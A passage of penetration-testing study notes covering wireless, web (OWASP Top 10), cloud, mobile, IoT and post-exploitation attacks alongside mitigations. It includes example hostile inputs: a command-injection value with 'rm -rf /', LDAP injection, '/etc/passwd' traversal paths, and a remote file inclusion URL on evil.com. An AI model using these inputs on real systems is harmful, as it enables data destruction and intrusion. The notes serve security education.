 8. Fragmentation Attacks (WEP)

- **Attack:**
  Capture and analyze small encrypted packets to reconstruct the **pseudo-random generation algorithm (PRGA)** and inject packets.
- **Tool:**
  - `aircrack-ng`, `fragmentation attack modules`
- **Defense:**
  - Decommission WEP
  - Use WPA2/WPA3 only

 9. Credential Harvesting via Wi-Fi

- **Technique:**
  - Set up fake captive portals (like public Wi-Fi login pages).
  - Trick users into entering real credentials.
- **Tools:**
  - `wifiphisher`, `EvilAP`, `Responder` (if MITM via DNS spoofing)
- **Mitigation:**
  - Avoid logging into sensitive accounts on public Wi-Fi
  - Use **HTTPS Everywhere** and **VPN**

 10. Bluetooth Attacks

🔷 Bluejacking:

- Sends unsolicited messages via Bluetooth.
- Mostly harmless but can be used for phishing or scare tactics.

🔷 Bluesnarfing:

- Unauthorized access to a device's data via Bluetooth.
- More severe — can lead to data theft.
- **Mitigation**:
  - Keep Bluetooth off when not in use
  - Use non-discoverable mode
  - Pair only with trusted devices

🔌 11. BLE (Bluetooth Low Energy) Attacks

- **Target**:
  IoT devices like smartwatches, fitness trackers, smart locks.
- **Vulnerabilities**:
  - Weak authentication
  - On-path packet manipulation
  - BLE spoofing and jamming
- **Defenses**:
  - Use **Secure Connections pairing**
  - Apply firmware updates
  - Segment IoT devices on the network

📡 12. RFID/NFC Attacks

- **Tech**:
  RFID/NFC tags for identification and payment systems.
- **Common Attacks**:
  - **RFID Skimming** (reading tags without permission)
  - **Cloning** tags (e.g., badges)
  - **NFC Amplification** (extending range of NFC communication)

- **Mitigation**:
  - Use RFID-blocking wallets/shields
  - Implement mutual authentication
  - Encrypt stored data

🔁 13. Password Spraying

- **Attack**:
  Brute-forcing multiple accounts using common or default passwords (e.g., `admin123`, `password1`).
- **Difference from brute-force**:
  Avoids locking out accounts by trying **one password per account** across many users.
- **Defense**:
  - Enforce strong password policies
  - Enable account lockout or monitoring
  - Use MFA

🧬 14. Exploit Chaining

- **Definition**:
  Combining **multiple vulnerabilities** (wireless + OS + app-level) to gain deeper system access.
- **Example**:
  - Capture WPA2 handshake → Crack PSK → Connect to network → Exploit SMB via EternalBlue → Deploy ransomware
- **Defense**:
  - Defense-in-depth strategy
  - Patch management
  - Monitor lateral movement (SIEM, EDR)

Exploiting application-based vulnerabilites

49/ Overview of Web Application-Based Attacks for Security Professionals and the OWASP Top 10

HTTP and Web Sessions

HTTP (Hypertext Transfer Protocol) is the foundation of communication between web browsers and servers. It's **stateless**, meaning each request is treated independently. There's no memory of previous requests unless mechanisms like **sessions** are used.

HTTP supports various request methods. For instance:

- **GET** is used to fetch data (like viewing a page).
- **POST** is used to submit forms or upload files.
- **PUT** and **DELETE** are used for modifying or removing data.
- **TRACE**, **OPTIONS**, and **CONNECT** are typically used for diagnostics or tunneling.

Since HTTP is stateless, **web sessions** are used to maintain a user's interaction across multiple pages. These sessions rely on **tokens** (like session IDs), which are stored in cookies or URLs and must be carefully protected. If attackers get access to these tokens, they can hijack the user's session.

🧭 HTTP Proxies

HTTP proxies act as middlemen between a user and the web server. They can:

- Facilitate traffic across firewalls
- Log and cache HTTP requests
- Be used by attackers to **intercept and manipulate** traffic (e.g., using tools like Burp Suite)

Security testers use proxies to inspect, modify, and replay requests, which is critical for discovering vulnerabilities in web applications.

🔐 The Role of OWASP

OWASP stands for **Open Web Application Security Project**, a global community focused on improving web application security. One of its most well-known contributions is the **OWASP Top 10**, a regularly updated list of the most critical security risks to web applications.

🧨 The OWASP Top 10 – 2021 Version (Explained Simply)

1. **Broken Access Control** – Users can access data or actions they shouldn't, like viewing someone else's profile or deleting data without permission.
2. **Cryptographic Failures** – Sensitive data like passwords or credit card info isn't properly encrypted, or outdated encryption is used.
3. **Injection** – Untrusted data (like user input) is interpreted as code. This includes SQL injection or OS command injection.
4. **Insecure Design** – The application was built without thinking about security, lacking proper validation, checks, or access control mechanisms.
5. **Security Misconfiguration** – Servers or apps are running with default settings, unnecessary features, or sensitive information exposed.
6. **Vulnerable and Outdated Components** – Using outdated software libraries or frameworks that attackers already know how to exploit.
7. **Identification and Authentication Failures** – Weak login processes, poor password handling, or failure to prevent brute-force attacks.
8. **Software and Data Integrity Failures** – Failing to verify that code or updates come from trusted sources. This allows tampering.
9. **Security Logging and Monitoring Failures** – Lack of visibility or alerts means attacks can go undetected for a long time.
10. **Server-Side Request Forgery (SSRF)** – The application fetches a URL from user input without validating it, allowing attackers to trick the server into accessing internal systems.

50/ How to Build Your Own Web Application Lab :

Building Your Own Web Application Lab

If you're learning ethical hacking or web application penetration testing, having a **safe and controlled lab environment** is essential. It allows you to **practice real-world attacks** without breaking any laws or harming real systems.

🐧 Choose Your Ethical Hacking Operating System

There are three popular Linux distributions designed specifically for penetration testing:

1. **Kali Linux**
   - Most popular among beginners and professionals.
   - Comes with hundreds of pre-installed security tools (like Burp Suite, Nmap, Metasploit, etc.).
   - Actively maintained by Offensive Security.

2. **Parrot OS**
   - Lightweight and privacy-focused.
   - Good alternative to Kali with similar tools and a beginner-friendly interface.
   - Offers both security and general-use versions.
3. **BlackArch Linux**
   - Based on Arch Linux.
   - Best for advanced users.
   - Contains a massive collection of over 2,500 security tools.

> ✅ For beginners, **Kali Linux** or **Parrot OS** is highly recommended.

💻 Set Up Your Lab with Virtual Machines

You don't need a second physical computer. You can run everything on your existing system using **virtual machines (VMs)** with software like:

- **VirtualBox** (free and open-source)
- **VMware Workstation Player** (free for non-commercial use)

Install **Kali Linux** or **Parrot OS** as a virtual machine. This will serve as your **attacker machine**.

🧱 Add Vulnerable Targets for Practice

You'll need systems with built-in vulnerabilities to practice your attacks. These are legal and safe to exploit in your lab. Some great resources include:

- **WebSploit Labs** – Pre-built vulnerable environments for web hacking.
- **Omar Santos' GitHub**:
  Access intentionally vulnerable systems at:
  👉 https://h4cker.org/github
  This includes:
  - Web application targets
  - Capture-the-flag challenges
  - Dockerized vulnerable services

You can run these using:

- Local virtual machines (like DVWA, Mutillidae, bWAPP)
- Docker containers (for faster setup)
- Online platforms (like TryHackMe or Hack The Box)

51/ Understanding Business Logic Flaws :

Understanding Business Logic Flaws

Business logic flaws are vulnerabilities that stem not from broken code, but from **how the application is designed to work**. In simple terms, they occur when a developer builds a system that works *correctly* according to the code — but allows attackers to misuse or **abuse its intended logic**.

🧩 What Makes Business Logic Flaws Unique?

Unlike traditional security issues like SQL injection or XSS, business logic flaws:

- Do not break the code
- Are not easily found by automated tools
- Require a human to **understand the business process** and think like an attacker

They exploit **how the system is supposed to behave**, not technical weaknesses in the code.

🛠️ Common Examples of Business Logic Flaws

1. **Unverified Ownership**:
   A user accesses another user's private data just by changing the URL or ID in a request.
2. **Authentication Bypasses**:
   Skipping or manipulating steps in a workflow to gain unauthorized access (e.g., skipping payment but still receiving a digital product).
3. **Weak Password Recovery**:
   Using predictable or easily guessable security questions to reset someone else’s password.
4. **Incorrect Ownership Assignment**:
   A system accidentally gives ownership or control of an account or resource to the wrong user.

5. **Abusing Discounts or Coupons**:
   Applying the same coupon code multiple times or manipulating product quantities for free items.
6. **Improper Resource Management**:
   Overloading a feature, like booking the same ticket multiple times before payment confirmation.

🧱 Why Are These Flaws Dangerous?

If exploited, business logic flaws can lead to:

- Unauthorized access
- Financial losses
- Data leaks
- Broken workflows
- Complete system misuse

And because they aren't found with basic scanners, **manual testing and understanding of application behavior** are essential.

52/ Understand Injection-based vulnerabilities :

Understanding Injection-Based Vulnerabilities

Injection-based attacks are among the most dangerous and common types of web application vulnerabilities. These occur when **untrusted input is passed into a program or interpreter**, allowing attackers to **inject and execute malicious commands** or queries.

🧠 1. SQL Injection (SQLi)

SQL injection happens when an attacker enters malicious SQL statements into a website's input fields (like login forms, search bars, or URL parameters), which then get executed by the application's database engine.

🔓 What Can an Attacker Do?

- View unauthorized data (like user passwords)
- Modify, insert, or delete records

- Bypass authentication
- Drop entire databases

🧪 Types of SQL Injection:

- **In-band SQLi**: Attacker gets the results directly through the same web response.
- **Out-of-band SQLi**: Results are sent via another method (like email or DNS).
- **Blind SQLi**: The attacker can't see direct output, but infers data based on app behavior (e.g., page loading time or errors).

🎯 Common Attack Techniques:

- **UNION-based**: Combines queries to extract data.
- **Boolean-based**: Asks yes/no questions to infer info (e.g., `AND 1=1`).
- **Error-based**: Forces the system to throw errors that reveal database structure.
- **Time-delay**: Uses `SLEEP()` to test if certain statements are true (useful in blind SQLi).

🛡️ How to Prevent SQLi:

- Use **parameterized queries** or **prepared statements**.
- Avoid building SQL queries with string concatenation.
- Sanitize and validate all user input.
- Use stored procedures **without dynamic SQL**.

💻 2. Command Injection

Command injection allows an attacker to run **operating system (OS) commands** on a server or host machine. This happens when input from the user is directly inserted into system-level functions or shell commands.

🔥 Real-World Example:

Imagine a web form that lets users **ping an IP address**. If the developer doesn't validate the input, the attacker could enter:

bash

CopyEdit

```
127.0.0.1; rm -rf / # Very dangerous!
```

This could delete system files if executed.

🛡️ How to Prevent:

- Never pass user input directly into system commands.
- Use **whitelisting**, input sanitization, and secure APIs.
- Use languages/libraries that **don't expose system shell** directly to users.

📂 3. LDAP Injection

LDAP injection targets applications that use **Lightweight Directory Access Protocol (LDAP)** to manage and authenticate users in a directory (e.g., Active Directory).

If user input is unsafely inserted into LDAP queries, attackers can:

- Bypass login authentication
- Retrieve confidential directory data
- Modify directory structure

💡 Example of a vulnerable LDAP query:

java

CopyEdit

```
String query = "(&(uid=" + userInput + ")(userPassword=" + passInput + "))";
```

If an attacker enters `*)(&)` as the username, the query might become:

scss

CopyEdit

```
(&(uid=*)(&)(userPassword=...))
```

Which could always return `true`, bypassing login.

🛡️ How to Prevent:

- Sanitize all inputs going into LDAP queries.
- Use **parameterized LDAP APIs** when available.
- Avoid constructing LDAP queries with raw string concatenation.

53/ Exploiting Authentification-Based Vulnerabilities :

Exploiting Authentication-Based Vulnerabilities

Authentication-based vulnerabilities allow attackers to **bypass or abuse login systems** to gain unauthorized access. These flaws can expose sensitive data, allow privilege escalation, and compromise entire systems if left unaddressed.

🧪 Common Attack Methods

1. Credential Brute Forcing

Attackers systematically try **many combinations of usernames and passwords** until one works. They often use automated tools and wordlists (e.g., `Hydra`, `Burp Suite`, `Medusa`) to speed up the attack.

- 🔁 Online brute force: Tried directly on live systems (risky and slow).
- 📂 Offline brute force: Done against dumped password hashes (faster and stealthier).

💡 **Mitigation**: Use account lockout mechanisms, CAPTCHA, rate limiting, and MFA.

---

2. Session Hijacking

After a user logs in, their session is usually tracked by a **session ID** (often stored in a cookie). If an attacker steals this ID, they can **impersonate the victim**.

- 🛠️ Common methods:
  - Packet sniffing on unsecured connections (e.g., public Wi-Fi)
  - XSS attacks stealing cookies
  - Session fixation (forcing users to use a known session ID)

💡 **Mitigation**: Always use HTTPS, regenerate session IDs after login, set cookie flags (HttpOnly, Secure), and expire sessions appropriately.

---

3. Unvalidated Redirects

If an app allows users to be redirected to any URL **without validating the destination**, attackers can trick users into visiting **malicious links** that appear legitimate.

🔗 Example:

bash

CopyEdit

```
https://legit-site.com/redirect?url=http://evil.com
```

💡 **Mitigation**: Only allow redirects to a **whitelist of trusted domains** and validate user input carefully.

---

4. Default Credentials

Many systems, routers, and web apps come with **preset usernames and passwords** like `admin:admin` or `root:toor`. If users fail to change these, attackers can simply **look up default credentials online** (e.g., https://default-password.info) and log in.

💡 **Mitigation**: Enforce credential changes during setup and audit systems regularly.

---

5. Weak Credentials

Some users still choose terrible passwords like `123456`, `password`, or their first name. Attackers use password lists (like `rockyou.txt`) to **guess or brute-force weak passwords**.

💡 **Mitigation**: Enforce strong password policies, use MFA, and conduct regular credential audits.

---

6. Kerberos Exploits

Kerberos is a protocol that authenticates users in networks like **Active Directory**. If not properly secured, attackers can exploit it.

- 🦹 **Golden Ticket Attack**: If an attacker gets the **krbtgt** hash (Kerberos ticket-granting service key), they can generate fake TGTs (ticket-granting tickets) to impersonate *any user*, including domain admins.

- □ **Delegation Abuse**: Poorly configured **unconstrained delegation** lets attackers access services on behalf of a user.

💡 **Mitigation**:

- Secure domain controllers
- Rotate Kerberos keys regularly
- Avoid unconstrained delegation
- Monitor suspicious ticket activity

🛡️ Defensive Best Practices

To protect against authentication-based attacks:

- Use **multi-factor authentication (MFA)** whenever possible
- Enforce **strong password policies** (complexity, length, expiration)
- Disable **default accounts** or **force credential changes**
- Monitor **login attempts and unusual authentication behavior**
- Ensure **all sessions** and authentication flows use **HTTPS encryption**
- Properly **validate redirect URLs** and **sanitize inputs**

54/ Exploiting Authorization-based Vulnerablities :

Exploiting Authorization-Based Vulnerabilities

Authorization vulnerabilities allow attackers to **access data or resources they are not supposed to**. While authentication verifies identity, **authorization determines access rights**. If the system fails to enforce proper access controls, users—or attackers—can manipulate requests to gain elevated or unauthorized access.

🧪 Common Vulnerabilities

1. Parameter Pollution

Parameter pollution happens when a web application receives **multiple instances of the same input parameter**, either in a URL or form data, and **fails to handle them securely**.

🔧 **How it works**:

- Attackers submit multiple parameters with the same name: sql CopyEdit `/profile?user=123&user=999`
- Depending on how the backend handles this, the attacker might:
  - Bypass input validation
  - Change internal logic (e.g., access another user's data)
  - Trigger unexpected behaviors or security flaws

🔎 **Real-world risk**:

- In applications that take the **first, last, or all values** of repeated parameters, attackers may override intended values.
- Vulnerable in both **GET and POST** methods.

💡 **Mitigation**:

- Sanitize and validate **all input parameters**
- Reject or correctly parse duplicate parameter names
- Use **frameworks** that have secure parameter parsing by default

---

2. Insecure Direct Object Reference (IDOR)

An **IDOR vulnerability** occurs when an application **exposes internal object identifiers** (like user IDs or filenames) in the URL or form data **without proper access checks**.

🔗 **How it works**:

- A logged-in user accesses a URL like: arduino CopyEdit `https://example.com/invoice?user_id=103`
- If the app doesn't verify whether the logged-in user actually owns `user_id=103`, an attacker can **manually change the value** to something else: arduino CopyEdit `https://example.com/invoice?user_id=104`
- This might expose another user's invoice or allow modifying unauthorized data.

🔎 **Real-world examples**:

- Accessing someone else's medical records
- Downloading another user's private file
- Changing roles or permissions just by altering a number in a request

💡 **Mitigation**:

- **Never trust user input** for object references
- Implement **object-level authorization checks** on every sensitive request
- Use **indirect object references** (like tokens or UUIDs instead of numeric IDs)
- Follow the **principle of least privilege**

55/ Understanding Cross-Site Scripting (XSS) Vulnerabilities:

Cross-Site Scripting (XSS) is one of the most common and dangerous web application security flaws. It allows attackers to inject malicious scripts into webpages viewed by other users, causing serious consequences like account compromise, session hijacking, and data theft.

Types of XSS Attacks

1. **Reflected XSS (Non-Persistent)**
   - The attacker injects malicious code into a request (usually via a URL or form input).
   - The server immediately reflects the input back in its response without proper validation or encoding.
   - The victim is tricked into clicking a specially crafted link, and the malicious script runs in their browser.
   - Example: A search query parameter that appears in the results page without sanitization.
2. **Stored XSS (Persistent)**
   - The malicious code is permanently stored on the server or in a database.
   - Common on sites that accept user-generated content like comments, forums, or profiles.
   - Every time a user loads the affected page, the malicious script executes in their browser.
   - This form is more dangerous because it affects all visitors of the page, not just a targeted link.
3. **DOM-Based XSS**
   - The vulnerability lies in client-side scripts that process input from the user.
   - The malicious payload does not travel to the server but is executed by manipulating the Document Object Model (DOM) directly in the browser.
   - This attack modifies how the page behaves on the client side, making it harder to detect on the server.

Common Injection Points for XSS

- Search fields
- Input fields in forms
- HTTP headers (like the User-Agent or Referer)
- Error messages or debug information
- Hidden fields in forms
- Any location where user-supplied data is displayed on a page without proper handling

---

Attack Techniques to Evade Detection

Attackers often use sophisticated methods to bypass XSS protections, including:

- Alternative character encoding (e.g., Unicode or URL encoding)
- Exploiting quirks in HTML tags and attributes
- Embedding malicious files (like SVGs with embedded scripts)
- Using nested or malformed tags to confuse filters

Impacts of XSS Attacks

- Execution of arbitrary JavaScript in the victim’s browser
- Theft of cookies or session tokens (especially if cookies are not marked HTTPOnly)
- Modification or exfiltration of sensitive data
- Redirecting users to malicious or phishing sites
- Keylogging or other spyware behaviors

Mitigations and Defense Mechanisms

Effective defense against XSS requires multiple strategies:

- **Input Sanitization and Output Escaping:**
  Always sanitize user input and escape output depending on context (HTML, JavaScript, CSS, URL).
- **Use Auto-Escaping Template Engines:**
  Frameworks that escape output by default reduce the risk of injection.

- **HTTPOnly Cookie Flag:**
  Mark cookies as HTTPOnly to prevent access via JavaScript.
- **Content Security Policy (CSP):**
  Implement CSP headers to restrict the sources from which scripts can be loaded.
- **X-XSS-Protection Header:**
  Some browsers support this header to enable built-in XSS filters.
- **Avoid Inline JavaScript:**
  Inline event handlers and scripts make XSS prevention harder.
- **Educate Users:**
  Train users about safe browsing practices and caution when clicking links.
- **Prevent DOM-Based XSS:**
  Avoid unsafe JavaScript DOM manipulation with untrusted data (e.g., innerHTML).

56/ Understanding Cross-Site Request Forgery (CSRF/XSRF) and Server-Side Request Forgery Attacks:

Understanding Cross-Site Request Forgery (CSRF/XSRF)

CSRF attacks exploit the trust that a web application places in a user's authenticated browser session. Essentially, the attacker tricks a logged-in user into performing unwanted actions on a web application without their knowledge or consent.

- **How it works:**
  The attacker crafts a malicious request (often a link, image, or script embedded in an email or webpage). When the victim, who is already authenticated on the target site, interacts with this malicious content, their browser unwittingly sends the forged request to the legitimate web application. Since the user is authenticated, the application processes the request as legitimate.
- **Common impact:**
  Actions like changing passwords, making purchases, or transferring funds can be performed without the user’s intent.
- **Example:**
  Imagine a banking website where users can transfer money via a simple URL request. An attacker sends a victim a link that triggers a money transfer when clicked. If the victim is logged in, the transfer occurs without additional confirmation.

Understanding Server-Side Request Forgery (SSRF)

SSRF attacks target a web server itself by tricking it into sending HTTP or other protocol requests to unintended locations. Unlike CSRF, which abuses the client's browser, SSRF abuses the trust the server has in other servers or internal network resources.

- **How it works:**
  An attacker sends a crafted request to a vulnerable server that forces it to make requests to internal systems or external services on behalf of the attacker. This can expose sensitive information, access internal-only resources, or allow further network penetration.
- **Common impact:**
  Accessing internal cloud metadata services, scanning internal networks, or accessing restricted data.
- **Example:**
  A web application fetches user-supplied URLs (e.g., for previewing content). If the URL input isn't properly validated, an attacker can supply a URL pointing to an internal system, causing the server to fetch data it shouldn't.

57/ Understanding ClickJacking :

Understanding Clickjacking

Clickjacking is a malicious technique where an attacker tricks users into clicking on something different from what they perceive, by overlaying or hiding UI elements like buttons or links behind transparent or disguised layers. The user thinks they're clicking on a legitimate element but is actually triggering an unintended action, such as changing settings, making purchases, or revealing sensitive information.

- **How it works:**
  The attacker loads the target website inside an invisible or disguised frame (like an iframe) on their own page. When the user interacts with the attacker's page, their clicks actually affect the hidden elements on the legitimate site, leading to unintended consequences.
- **Risks:**
  Users might unknowingly perform actions such as approving transactions, enabling device permissions, or changing account settings.

Mitigation Techniques

OWASP recommends the following to prevent clickjacking:

- **Use X-Frame-Options HTTP header:**
  This header instructs browsers whether a page can be framed by other sites. Values like

`DENY` or `SAMEORIGIN` prevent the page from being loaded inside frames on unauthorized domains.

- **Content Security Policy (CSP) frame-ancestors directive:**
  Specifies which sources are allowed to frame the content, providing fine-grained control.
- **Frame busting scripts:**
  Defensive JavaScript code that checks if the page is loaded inside a frame and breaks out to the top-level window if it is.

58/ Exploring Security Misconfigurations :

Exploring Security Misconfigurations

Security misconfigurations happen when systems, applications, or devices are improperly set up, leaving vulnerabilities that attackers can exploit to gain unauthorized access or manipulate data.

---

1. Directory Traversal Vulnerabilities

- **What it is:**
  Directory traversal (also called path traversal) allows attackers to access files and directories outside the intended web root folder. By manipulating file paths in a URL or input field—often using sequences like `../` or URL-encoded variants—an attacker can navigate to sensitive files such as configuration files, passwords, or system files.
- **How attackers exploit it:**
  For example, if a web application accepts a filename as input and directly uses it without proper validation, an attacker might input `../../../../etc/passwd` to read sensitive system files on a Unix-based server.
- **Prevention measures:**
  - Understand how the operating system handles file paths and normalization.
  - Avoid storing sensitive files within the web root directory accessible by the webserver.
  - Implement strict input validation and sanitize file path inputs to disallow traversal sequences like `../`.
  - Use whitelisting of allowed files or directories if possible.

---

2. Cookie Manipulation Attacks

- **What it is:**
  Cookies store information about users or sessions, and some applications mistakenly store user input or critical information insecurely in cookies.
- **How attackers exploit it:**
  If an attacker can modify cookie values directly—through browser developer tools or scripts—they can potentially alter application behavior, escalate privileges, or hijack sessions. For example, changing a cookie value to escalate user roles or bypass authentication checks.
- **Prevention measures:**
  - Avoid storing sensitive or critical application state in client-side cookies.
  - Use server-side session management wherever possible.
  - Set cookies with `HttpOnly` and `Secure` flags to prevent access by client-side scripts and ensure they are sent only over HTTPS.
  - Validate and verify cookie values server-side to detect tampering.

59/ Exploiting File inclusion Vulnerabilities :

Exploiting File Inclusion Vulnerabilities

File inclusion vulnerabilities occur when a web application dynamically loads files based on user input without properly validating it. Attackers exploit this to access or execute unauthorized files, potentially compromising the system.

---

1. Local File Inclusion (LFI)

- **What it is:**
  LFI happens when an application includes files from the local server file system based on user input. If this input is not properly sanitized, attackers can manipulate it to read sensitive files or execute malicious scripts already present on the server.
- **How attackers exploit it:**
  For example, an application might use a parameter like `page=about.php` to include content. If the input is not validated, an attacker might use `page=../../../../etc/passwd` to read the system's password file or include other sensitive local files.
- **Consequences:**
  - Disclosure of sensitive files (e.g., configuration files, logs)
  - Execution of malicious scripts if writable files are included
  - Potential escalation to remote code execution if combined with other vulnerabilities

---

2. Remote File Inclusion (RFI)

- **What it is:**
  RFI occurs when an application allows inclusion of files hosted on external servers. Attackers can supply a URL to a malicious file hosted remotely, which the server then executes.
- **How attackers exploit it:**
  An application might include files via a URL parameter like `page=http://evil.com/malicious.php`. If unchecked, the application fetches and executes this remote file, allowing the attacker to run arbitrary code on the server.
- **Consequences:**
  - Full system compromise via execution of attacker-controlled code
  - Installation of backdoors, malware, or defacement of the website

60/ Exploiting Insecure Code Practices :

Exploiting Insecure Code Practices

Many vulnerabilities stem from insecure coding habits and practices, which attackers can exploit to gain unauthorized access, extract sensitive data, or disrupt application behavior. Below are common insecure coding issues:

---

1. Comments in Source Code

- Developers sometimes leave sensitive information such as passwords, API keys, or internal notes in code comments.
- Attackers who gain access to source code repositories or view the source can extract these secrets.
- **Example:** A comment like `// TODO: Use admin password "SuperSecret123"` can expose credentials.

---

2. Lack of Error Handling / Overly Verbose Errors

- Insufficient or excessive error messages can aid attackers.
- Verbose errors may reveal stack traces, SQL queries, or server info, which help attackers understand the application internals and find weaknesses.
- Proper error handling should hide technical details and log them securely.

3. Hard-Coded Credentials

- Embedding usernames, passwords, or tokens directly in code is a critical security flaw.
- These credentials can be easily extracted if the code is leaked or reverse-engineered.
- Use environment variables, configuration files with strict access, or secure vaults instead.

---

4. Race Conditions

- Occur when two or more operations happen simultaneously but require sequential processing.
- Attackers exploit the time gap to perform unauthorized actions or bypass security checks.
- Common in financial transactions, file uploads, or access controls.

---

5. Unprotected APIs

- Modern applications use APIs for communication, but often lack proper security controls.
- Weaknesses include missing authentication, poor input validation, or lack of encryption.
- Securing APIs involves using HTTPS, strict validation/sanitization, authentication tokens, and proper authorization.

---

6. Hidden Elements (Hidden Form Fields)

- Web forms may contain hidden input fields to store data like user roles or prices.
- Attackers can modify these values in the browser to manipulate application behavior, e.g., escalating privileges or changing prices.
- Always validate critical values server-side.

---

7. Lack of Code Signing

- Code signing uses digital signatures to verify software authenticity and integrity.
- Without it, attackers can modify or replace code with malicious versions without detection.

- Code signing ensures that users run trusted, untampered software.

---

8. Additional Web Application Hacking Tools

- **Web Proxies (Burp Suite, OWASP ZAP):** Intercept and modify HTTP(S) requests and responses to test vulnerabilities.
- **Directory/Files Enumeration (DirBuster, gobuster, ffuf, feroxbuster):** Discover hidden files or directories to find sensitive resources or configuration files.

These tools are essential for penetration testers to discover and exploit insecure coding practices.

Cloud, Mobile, IOT security

61/ Researching Attack Vectors and Performing Attacks on Cloud Technologies :

Cloud Computing Overview

- **Organizations** are moving to the cloud (or hybrid models) → shifts cost from **CapEx** → **OpEx**.
- **Cloud security** is critical to protect from:
  - Data theft
  - Exfiltration
  - Deletion
- **NIST SP 800-145** defines key cloud terms and models.

✅ Cloud Benefits (per NIST):

- **Distributed storage**, **scalability**, **resource pooling**
- **Broad network access**
- **On-demand self-service**
- **Rapid elasticity**
- **Measured service**
- **Remote access & automation**

☁ Cloud Deployment Models:

- **Public Cloud**: Open to public (e.g., AWS, Azure)
- **Private Cloud**: Used by a single organization
- **Community Cloud**: Shared among multiple organizations
- **Hybrid Cloud**: Mix of cloud + on-prem

🧱 Cloud Service Models:

- **IaaS** (Infrastructure as a Service): Rent infrastructure (VMs, storage)
- **PaaS** (Platform as a Service): Full platform except applications
- **SaaS** (Software as a Service): Fully packaged software (e.g., Google Workspace)

🔐 Cloud Attack Vectors

- **Credential Harvesting**:
  - Via **phishing** or **fake login portals**
  - Tool: **SET (Social-Engineer Toolkit)**
  - Targets cloud & non-cloud services
  - May **bypass MFA** in some cases
- **Privilege Escalation**:
  - **Vertical**: Low → high privilege
  - **Horizontal**: Access other users' data
  - Prevention: **Access control**, **updates**, **user awareness**
- **Account Takeover**:
  - Unauthorized access to accounts → lateral movement
  - Detection:
    - Abnormal login locations
    - Lateral phishing
    - Malicious OAuth/SAML/OpenID Connect usage
    - Suspicious file sharing/downloading
- **Metadata Service Attacks**:
  - Abuse of **cloud metadata endpoints** (e.g., AWS EC2 instance metadata)
  - Extract **temporary credentials** and **sensitive startup data**

    - Tool: **nimbostratus**
- **Attacks on Misconfigured Cloud Assets**:
    - **IAM Misconfigurations**: Weak identity & access rules in IaaS/PaaS
    - **Federation Misconfigs**: SAML, OAuth, OpenID flaws
    - **Object Storage**: Public S3 buckets expose data
    - **Containers**:
        - Vulnerable Docker, LXC, containerd, etc.
        - **Malicious containers** in Docker Hub → supply chain risks
- **Cloud Malware Injection**:
    - Attacker uploads **malicious applications** into cloud environments
    - Enables **data theft/manipulation**
- **Side-Channel Attacks**:
    - Exploit indirect signals like **timing**, **power**, **electromagnetic leaks**
    - Goal: Steal **crypto keys**, **credentials**, etc.

💻 Development Toolkits

- **SDKs** (Software Development Kits):
    - Provide **compilers, debuggers**, and tools for app creation.
- **CDKs** (Cloud Development Kits):
    - Tools like **AWS CDK** to manage cloud infra with code
    - Use **familiar programming languages** to deploy resources.

62/ Explaining Common Attacks and Vulnerabilities Against Specialized Systems:

Attacking Mobile Devices

- **Techniques**:
    - **Reverse Engineering**: Analyze app binaries to extract/manipulate logic.
    - **Sandbox Analysis**: Study sandboxing to bypass OS controls.
    - **Spamming**: Deliver malicious links via unsolicited messages.
- **Common Mobile Vulnerabilities**:
    - ❌ **Insecure Storage** (weak use of secure APIs)
    - 🔓 **Weak passcode/biometric integration**
    - 🔐 **Certificate pinning** misuse
    - ⚠️ **Over-permissioned apps**, known vulnerable components
    - 🚫 Root-level execution by apps

- 🔄 **Business logic flaws** (abuse of legit app functions)
- **Mobile Testing Tools**:
  - `Burp Suite`, `Drozer`, `MobSF`, `Frida`, `Objection`, `Ettercap`, `Postman`, `ApkX`, `APK Studio`, `Android SDK`

🌐 Attacking IoT Devices

- **Challenges**:
  - Legacy tech, vendor diversity, limited encryption, resource-constrained hardware
- **Common Protocols**:
  - **Wi-Fi, BLE, Zigbee, Z-Wave, Modbus, LoRaWAN, Siemens S7comm**
- **IoT Threats**:
  - 🛑 **DoS attacks**
  - 📤 **Data exfiltration**
  - ⚙️ **Data corruption**
- **Vulnerabilities**:
  - 🔧 **Insecure defaults** (e.g., default creds)
  - 📡 **Plaintext communication**
  - 📦 **Outdated firmware/hardware**
  - ❌ Lack of secure updates

🗄️ Data Storage System Vulnerabilities

- Affected layers: **Endpoints → Fog layer (routers/switches) → Cloud**
- **Common Weaknesses**:
  - Default/hardcoded credentials
  - 🌐 Unnecessary internet exposure
  - 💉 Input injection, unsanitized input
  - ⚠️ Verbose error/debug messages
  - 🛑 Potential for DoS, RCE, data theft

🧩 Management Interface Vulnerabilities (e.g., IPMI)

- **IPMI**: Manages systems **outside main OS** using **BMC** (Baseboard Management Controller)
- **Security Risks**:
  - BMC compromise = **Physical-level access**
  - Potential: rebooting systems, malware injection, full monitoring

---

💻 Exploiting Virtual Machines (VMs)

- **Types of Hypervisors**:
  - **Type 1** (bare-metal): e.g., ESXi, Hyper-V
  - **Type 2** (hosted): e.g., VirtualBox, VMware Player
- **VM Threats**:
  - 🧨 **VM Escape**: Break from one VM to another or hypervisor
  - 🕷️ **Hyperjacking**: Malicious control of hypervisor
  - ☁️ **Repo Attacks**: Malicious VMs uploaded to public repos (e.g., AWS, VMware)

📦 Container Security (e.g., Docker, Kubernetes)

- **Security Layers**:
  - Container image, software inside, host OS, runtime, orchestration (e.g., Kubernetes)
- **Risks**:
  - Running containers as **root** = total host compromise
  - **Outdated components**, insecure Dockerfiles
  - 📦 **Malicious containers** on Docker Hub → supply chain attacks
- **Security Tools**:
  - 🛠️ `Grype`, `Clair`, `Dagda` – image scanning
  - 🔎 `kube-bench`, `kube-hunter` – Kubernetes assessments
  - 📉 `Falco` – runtime threat detection
  - 🔒 Follow **CIS Benchmarks** for hardening Docker/K8s

Performing Post-Exploitation Techniques

63/ Creating a Foothold and Maintaining Persistence After Compromising a System :

Maintaining Persistence After Compromise

🔗 Common Persistence Techniques:

- **Bind/Reverse Shells**
- **Scheduled Jobs & Tasks**
- **Custom Daemons/Processes**
- **Creating New User Accounts**
- **Placing Additional Backdoors**

> 🔄 These methods allow ongoing access for:

- Uploading tools
- Scanning/Enumeration
- Brute-force attacks
- Credential & system manipulation

🍕 Shells

- **Bind Shell**:
  - Opens a **listening port** on the target
  - Attacker connects directly to that port
  - May be blocked by firewalls
- **Reverse Shell**:
  - Target **initiates a connection** to attacker
  - **Bypasses firewalls/NAT** restrictions
  - Preferred in restricted networks
- 🛠️ Tools: `Netcat`, `Meterpreter` (Metasploit)

🧠 Command and Control (C2) Systems

- Used to **send commands** to compromised systems
- Can be:
  - Attacker's system
  - **Virtual servers**
  - **Cloud services** (e.g., **Dropbox**, **Twitter** for covert comms)

